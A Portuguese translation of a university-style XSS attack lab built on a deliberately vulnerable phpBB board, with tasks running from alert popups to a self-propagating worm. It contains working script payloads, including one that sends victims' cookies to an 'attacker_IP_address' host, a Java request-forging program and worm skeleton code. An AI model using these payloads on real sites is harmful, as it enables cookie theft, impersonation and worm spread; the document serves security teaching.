Baixe o app para aproveitar ainda mais
Prévia do material em texto
1 Cross-Site Scripting (XSS) Laboratorio de Ataque Traduzido por: Roberto Mansano Francisco 1 Visão Geral Cross-site scripting (XSS) é um tipo de vulnerabilidade comumente encontrados em aplicações web. Esta vulnerabilidade permite aos atacantes injetar código malicioso (por exemplo, programas de JavaScript) no navegador web da vítima. Usando este código malicioso, os atacantes podem roubar as credenciais (“Logins e senhas”) da vítima, tais como cookies. As políticas de controle de acesso (ou seja, a política de mesma origem) empregado pelo navegador para proteger essas credenciais podem ser contornadas através da exploração da vulnerabilidade XSS. Vulnerabilidades deste tipo podem potencialmente levar a ataques em larga escala. Para demonstrar o que os atacantes podem fazer através da exploração de vulnerabilidades XSS, criámos um sistema de envio de mensagens baseado na Web usando phpBB. Nós modificamos o software para introduzir uma vulnerabilidade de XSS neste sistema de envio de mensagens; esta vulnerabilidade permite que usuários postem qualquer mensagem arbitrária neste quadro, incluindo programas em JavaScript. Para explorar esta vulnerabilidade é necessário postar algumas mensagens maliciosas para o sistema de mensagens; os usuários que virem essas mensagens maliciosas vão se tornar vítimas. O objetivo dos atacantes é postar mensagens forjadas para as vítimas. 2 Laboratório de Ambiente Neste laboratório, vamos precisar de três coisas: (1) o navegador Firefox web, (2) o servidor web Apache, e (3) a aplicação web “Message Board” phpBB. Para o navegador, é preciso usar a extensão para o Firefox LiveHTTPHeaders para inspecionar as solicitações e respostas HTTP. (Baixe o Navegador firefox e instale a extensão) Iniciando o Apache Server. O servidor Web Apache não é iniciado por padrão. Você tem que primeiro iniciar o servidor web usando um dos dois comandos a seguir: % sudo apache2ctl start ou % sudo service apache2 start Configurando DNS. Esta URL só é acessível de dentro da máquina que você esta, porque modificamos o arquivo /etc/hosts para mapear o nome de domínio (www.xsslabphpbb.com) para o endereço IP local da máquina virtual (127.0.0.1). Você pode mapear qualquer nome de domínio para um endereço de IP em particular usando o /etc/hosts. Por exemplo, você pode mapear http://www.example.com para o endereço IP local, anexando a seguinte entrada ao arquivo /etc/hosts: 127.0.0.1 www.example.com Portanto, se o seu servidor web e o navegador estiver executando em máquinas diferentes, você precisa modificar o /etc/hosts na máquina do navegador de acordo com o mapa www.xsslabphpbb.com para o endereço IP do servidor web. 2 Configurando o Apache Server. Usamos um servidor Apache para hospedar todos os web sites usados no laboratório. O recurso de hospedagem virtual baseada em Apache pode ser usado para hospedar vários sites (ou URLs) na mesma máquina. Um arquivo de configuração denominado padrão no diretório "/etc/apache2/sites-available" contém as diretrizes necessárias para a configuração: 1. A diretiva "NameVirtualHost *" instrui o servidor web para usar todos os endereços IP na máquina (algumas máquinas pode ter vários endereços IP). 2. Cada site tem um bloco VirtualHost que especifica a URL para o web site e diretório no sistema de arquivo que contém as fontes para o web site. Por exemplo, para configurar um site com URL http://www.example1.com com fontes no diretório /var/www/Example_1/ e para configurar um site com URL http://www.example2.com com fontes no diretório /var/www/Example_2/, usamos os seguintes blocos: <VirtualHost *> ServerName http://www.example1.com DocumentRoot /var/www/Example_1/ </VirtualHost> <VirtualHost *> ServerName http://www.example2.com DocumentRoot /var/www/Example_2/ </VirtualHost> Você pode modificar o aplicativo Web, acessando os diretórios mencionados. Por exemplo, com a configuração acima, o aplicativo web http://www.example1.com pode ser alterado modificando as fontes no diretório /var/www/Example_1 /.. Outro software. Algumas das tarefas do laboratório exigem alguma familiaridade básica com JavaScript. Sempre que necessário, nós fornecemos um programa de JavaScript de exemplo para ajudar os alunos a começar. Os alunos podem necessitar de um Script para assistir(“Escutar”) as solicitações de entrada em uma porta TCP particular. Nós fornecemos um programa em C que pode ser configurado para escutar em uma porta específica e exibir mensagens recebidas. O programa C pode ser baixado a partir do site para este laboratório. Nota para Instrutores Este laboratório pode ser realizada em um ambiente de laboratório supervisionado. Nesse caso, o instrutor pode fornecer as seguintes informações básicas para os alunos antes de fazer o laboratório: 1. Como usar a máquina virtual, navegador web Firefox, e a extensão LiveHTTPHeaders. 3 2. Noções básicas de JavaScript e objeto XMLHttpRequest. 3. Uma breve visão geral das tarefas. 4. Como utilizar o programa C que escuta em uma porta. 5. Como escrever um programa java para enviar uma mensagem de correio HTTP. 3 Tarefas de Laboratório 3.1 Tarefa 1: Publicando uma mensagem maliciosa para exibir uma janela de alerta O objectivo desta tarefa é para enviar uma mensagem maliciosa que contém JavaScript para exibir uma janela de alerta. O JavaScript deve ser fornecida juntamente com os comentários do usuário na mensagem. O seguinte JavaScript exibirá uma janela de alerta: <script>alert(’XSS’);</script> Se você postar este JavaScript junto com seus comentários no quadro de mensagens, então qualquer usuário que ver este comentário verá a janela de alerta. 3.2 Tarefa 2: Publicando uma mensagem maliciosa para exibir cookies O objectivo desta tarefa é para enviar uma mensagem maliciosa no quadro de mensagens contendo um código JavaScript, de tal forma que, sempre que um usuário ver esta mensagem, os cookies do usuário será impresso. Por exemplo, considere a seguinte mensagem que contém um código JavaScript: <script>alert(document.cookie);</script> Hello Everybody, Welcome to this message board. Quando um usuário visualizar esta mensagem, ele/ela vai ver uma caixa de mensagem pop-up que exibe os cookies do usuário. 4 3.3 Tarefa 3: Roubar cookies de máquina da vítima Na tarefa anterior, o código JavaScript malicioso pode imprimir os cookies do usuário; nesta tarefa, o atacante quer que o código JavaScript envie os cookies para o ele/ela. Para conseguir isso, o código JavaScript malicioso pode enviar uma solicitação HTTP para o atacante, com os cookies em anexo ao pedido. Nós podemos fazer isso por ter o JavaScript malicioso inserindo uma tag <img> com o src definido para o URL de destino do atacante. Quando o JavaScript insere a tag img, o navegador tenta carregar a imagem a partir da URL mencionada e no processo acaba enviando uma solicitação HTTP GET para o site atacante. O JavaScript dado abaixo envia estes cookies para a porta 5555 na máquina do atacante. Na porta particular, o atacante tem um servidor TCP que simplesmente imprime o pedido que recebe. O programa servidor TCP vai ser dado a você (disponível no site deste laboratório). Hello Folks, <script>document.write(’<img src=http://attacker_IP_address:5555?c=’ + escape(document.cookie) + ’ >’); </script> This script is to test XSS. Thanks. 5 3.4 Tarefa 4: A representação da vítima usando o Stolen cookies Depois de roubar os cookies da vítima, o atacante pode fazer o que a vítima pode fazer para o servidor web phpBB, incluindo publicar uma nova mensagem em nome da vítima,excluir um post da vítima, etc. Nesta tarefa, vamos escrever um programa para forjar uma mensagem em nome da vítima. Para forjar um post mensagem, devemos primeiro analisar como phpBB funciona em termos de postar mensagens. Mais especificamente, o nosso objectivo é descobrir o que são enviados para o servidor quando um usuário envia uma mensagem. O LiveHTTPHeaders extensão do Firefox pode nos ajudar; ele pode exibir o conteúdo de qualquer mensagem de solicitação HTTP enviadas a partir do browser. A partir do conteúdo, que pode identificar todos os parâmetros da mensagem. Uma captura de tela do LiveHTTPHeaders é dada na Figura 1. A extensão LiveHTTPHeaders pode ser baixado no http://livehttpheaders.mozdev.org/ Uma vez que tenhamos entendido o que a solicitação HTTP para a mensagem postagem parece, podemos escrever um programa em Java para enviar o mesmo pedido HTTP. O servidor phpBB não pode distinguir se o pedido é enviado pelo navegador do usuário ou pelo programa Java do atacante. Se nós configurarmos todos os parâmetros corretamente, o servidor irá aceitar e processar a solicitação HTTP-postando mensagem. Para simplificar a sua tarefa, nós fornecemos-lhe com um programa java amostra que faz o seguinte: 1. Abre uma conexão com o servidor web. 2. Define as informações de cabeçalho HTTP necessárias. 3. Envia o pedido para o servidor web. 4. Obtém a resposta do servidor web. 6 import java.io.*; import java.net.*; public class HTTPSimpleForge { public static void main(String[] args) throws IOException { try { int responseCode; InputStream responseIn=null; // URL to be forged. URL url = new URL ("http://www.xsslabphpbb.com/profile.php"); // URLConnection instance is created to further parameterize a // resource request past what the state members of URL instance // can represent. URLConnection urlConn = url.openConnection(); if (urlConn instanceof HttpURLConnection) { urlConn.setConnectTimeout(60000); urlConn.setReadTimeout(90000); } 7 // addRequestProperty method is used to add HTTP Header Information. // Here we add User-Agent HTTP header to the forged HTTP packet. urlConn.addRequestProperty("User- agent","Sun JDK 1.6"); //HTTP Post Data which includes the information to be sent to the server. String data="username=admin&seed=admin%40seed.com"; // DoOutput flag of URL Connection should be set to true // to send HTTP POST message. urlConn.setDoOutput(true); // OutputStreamWriter is used to write the HTTP POST data // to the url connection. OutputStreamWriter wr = new OutputStreamWriter(urlConn.getOutputStream()); wr.write(data); wr.flush(); // HttpURLConnection a subclass of URLConnection is returned by // url.openConnection() since the url is an http request. if (urlConn instanceof HttpURLConnection) { HttpURLConnection httpConn = (HttpURLConnection) urlConn; // Contacts the web server and gets the status code from // HTTP Response message. responseCode = httpConn.getResponseCode(); System.out.println("Response Code = " + responseCode); // HTTP status code HTTP_OK means the response was // received sucessfully. if (responseCode == HttpURLConnection.HTTP_OK) { // Get the input stream from url connection object. responseIn = urlConn.getInputStream(); // Create an instance for BufferedReader // to read the response line by line. BufferedReader buf_inp = new BufferedReader( new InputStreamReader(responseIn)); String inputLine; while((inputLine = buf_inp.readLine())!=null) { System.out.println(inputLine); } } } } catch (MalformedURLException e) { e.printStackTrace(); } } } Se você tem dificuldade para entender o programa acima, sugerimos que você leia o seguinte:: • JDK 6 Documentation: http://java.sun.com/javase/6/docs/api/ • Java Protocol Handler: 8 http://java.sun.com/developer/onlineTraining/protocolhandlers/ Limitação: O post da mensagem forjada deve ser gerado a partir da mesma máquina virtual, ou seja, a vítima (usuário conectado ao forum web) e o atacante (aquele que gera a mensagem forjada) deve ser na mesma máquina porque phpBB usa o endereço IP e os cookies para gerenciamento de sessão. Se o atacante gera a mensagem forjada a partir de uma máquina diferente, o endereço IP do pacote forjado e endereço IP da vítima seriam diferentes e, portanto, o post ou mensagem forjada seriam rejeitados pelo servidor phpBB, apesar da mensagem forjada carregar as informações do cookie correto. 3.5 Tarefa 5: Escrever um worm XSS Na tarefa anterior, aprendemos como roubar os cookies da vítima e depois forjar solicitações HTTP que usam os cookies roubados. Nesta tarefa, precisamos escrever um JavaScript malicioso para forjar uma solicitação de HTTP diretamente do navegador da vítima. Este ataque não requer a intervenção do atacante. O JavaScript que pode conseguir isso é chamado de um verme scripting cross-site(“cross-site scripting worm”). Para esta aplicação web, o worm programa deve fazer o seguinte: 1. Recuperar o ID da sessão do usuário usando JavaScript. 2. forjar uma solicitação HTTP POST para enviar uma mensagem usando a identificação da sessão. Existem dois tipos comuns de solicitações HTTP, uma é o HTTP GET, e o outra é HTTP POST. Estes dois tipos de solicitações HTTP diferem na forma como enviar o conteúdo do pedido para o servidor. Em phpBB, o pedido de enviar uma mensagem usa solicitação HTTP POST. Nós podemos usar o objeto XMLHttpRequest para enviar solicitações HTTP GET e POST para aplicações web. XMLHttpRequest só pode enviar solicitações HTTP de volta para o servidor, em vez de outros computadores, porque a política de mesma origem é fortemente exercida por XMLHttpRequest. Este não é um problema para nós, porque nós queremos usar XMLHttpRequest para enviar uma solicitação HTTP POST forjado volta para o servidor phpBB. Para saber como usar XMLHttpRequest, você pode estudar estes documentos citados [1,2]. Se você não estiver familiarizado com a programação JavaScript, sugerimos que você lê [3] para aprender algumas funções JavaScript básicos. Você terá que usar algumas dessas funções: Você também pode precisar depurar o código JavaScript. O Firebug é uma extensão do Firefox que ajuda a depurar o código JavaScript. Pode apontar-lhe os lugares precisos que contêm erros. FireBug pode ser baixado do https://addons.mozilla.org/en-US/firefox/addon/1843. Esqueleto código. Nós fornecemos um esqueleto do código JavaScript que você precisa para escrever. Você precisa preencher todos os detalhes necessários. Quando você incluir o código final JavaScript na mensagem enviada para a placa da mensagem phpBB, você precisa remover todos os comentários, espaço extra, e caracteres de nova linha. 9 <script> var Ajax=null; // Construct the header information for the Http request Ajax=new XMLHttpRequest(); Ajax.open("POST","http://www.xsslabphpbb.com/posting.php",true); Ajax.setRequestHeader("Host","www.xsslabphpbb.com"); Ajax.setRequestHeader("Keep-Alive","300"); Ajax.setRequestHeader("Connection","keep-alive"); Ajax.setRequestHeader("Cookie",document.cookie); Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); // Construct the content. The format of the content can be learned // from LiveHttpHeader. All we need to fill is subject, message, and sid. var content="subject=" + "XSSWorm" + ...; // You need to fill in the details. // Send the HTTP POST request. Ajax.send(content); </script> Para fazer seu worn funcionar , devemos prestar atenção à forma como as informações do ID de sessão é usado por phpBB. Desde a saída da extensão LiveHTTPHeaders, podemos notar que sid aparece duas vezes na solicitação de mensagem-postagem. Um deles é na seçãode cookie (que é chamado phpbb2mysqlsid). Portanto, a solicitação HTTP POST enviada pelo XMLHttpRequest também deve incluir o cookie. Nós já fizemos isso para você no código esqueleto acima. Se olharmos atentamente para a saída LiveHTTPHeaders, podemos ver que o mesmo ID de sessão também aparece na linha que começa com "subject =". O servidor phpBB utiliza o ID de sessão aqui para impedir que outro tipo de ataque (ou seja, o cross-site request forgery ataque). No nosso pedido de mensagem-postagem forjadas, também precisamos adicionar essa informação id da sessão; o valor deste id de sessão é exatamente a mesma que em phpbb2mysqlsid. Sem este id de sessão no pedido, o pedido será rejeitado pelo servidor. A fim de recuperar as informações sid do cookie, você pode precisar de aprender algumas operações de String em JavaScript. 10 3.6 Tarefa 6: Escrevendo um worn de auto-propagação XSS O worm construído na tarefa anterior só forja uma mensagem em nome das vítimas; não se propaga. Portanto, tecnicamente falando, não é um verme. Para ser capaz de se propagar, a mensagem forjada também deve incluir um verme, para que sempre que alguém clicar na mensagem forjada, uma nova mensagem forjada que carregam o mesmo worm irá ser criado. Desta forma, o worn pode ser propagado. Quanto mais as pessoas clicam nas mensagens forjadas, mais rápido o worm pode propagar. Nesta tarefa, você precisa expandir o que você fez na Tarefa 5, e adicionar uma cópia do worm para o corpo da mensagem forjada. As diretrizes a seguir irá ajudá-lo com a tarefa: 1. O programa JavaScript que envia a mensagem forjada já faz parte da página da web. Portanto, o código worn pode usar APIs DOM para recuperar uma cópia de si mesmo a partir da página web. Um exemplo do uso de APIs DOM é dado abaixo. Este código obtém uma cópia de si mesmo, e é exibido em uma janela de alerta: <script id=worm> var strCode = document.getElementById("worm"); alert(strCode.innerHTML); </script> 2. URL Encoding: Todas as mensagens transmitidas utilizando HTTP com o uso da Internet URL Encoding, que converte todos os caracteres não-ASCII, como espaço para código especial sob o esquema de codificação de URL. No código do worm, mensagens a serem postadas no fórum phpBB deve ser codificados usando a codificação de URL. A função de escape pode ser utilizado para codificar uma String de URL. Um exemplo do uso da função de codificação é dada abaixo. <script> var strSample = "Hello World"; var urlEncSample = escape(strSample); alert(urlEncSample); </script> 3. Sob o esquema de codificação de URL o símbolo "+" é utilizada para designar o espaço. Em programas JavaScript, "+" é usado tanto para operações aritméticas e operações de concatenação de strings. Para evitar esta ambiguidade, você pode usar a função concat para concatenação de strings, e evitar o uso disso. Para o código do worm no exercício, você não tem que usar adições. Se você tem que adicionar um número (por exemplo, a + 5), você pode usar subtração (por exemplo, a - (- 5)). Referências [1] AJAX for n00bs. Available at the following URL: http://www.hunlock.com/blogs/AJAX_for_n00bs. [2] AJAX POST-It Notes. Available at the following URL: http://www.hunlock.com/blogs/AJAX_POST-It_Notes. [3] Essential Javascript – A Javascript Tutorial. Available at the following URL: http://www.hunlock.com/blogs/Essential_Javascript_--_A_Javascript_Tutorial. 11 [4] Referências sobre JavaScripts completas. Disponiveis em URL: http://www.hunlock.com/blogs/The_Complete_Javascript_Strings_Reference. http://www.xsslabphpbb.com/posting.php POST /posting.php HTTP/1.1 Host: www.xsslabphpbb.com User-Agent: Mozilla/5.0 (X11; U; Linux i686; Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: http://www.xsslabphpbb.com/posting.php?mode=newtopic&f=1 Cookie: phpbb2mysql_data=......;phpbb2mysql_sid=...... Content-Type: application/x-www-form-urlencoded Content-Length: 376 subject=<Content of the message> HTTP/1.x 200 OK Date: Thu, 11 Jun 2009 19:43:15 GMT Server: Apache/2.2.11 (Ubuntu) PHP/5.2.6-3 X-Powered-By: PHP/5.2.6-3ubuntu4.1 Set-Cookie: phpbb2mysql_data=XXXXXXXXXXX; expires=Fri, GMT; path=/ Set-Cookie: phpbb2mysql_sid=YYYYYYYYY; path=/ Set-Cookie: phpbb2mysql_t=XXXXXXXXXXX; path=/ Cache-Control: private, pre-check=0, post-check=0, max-age=0 Expires: 0 Pragma: no-cache Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 3904 Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html Figure 1: Screenshot of LiveHTTPHeaders Extension
Compartilhar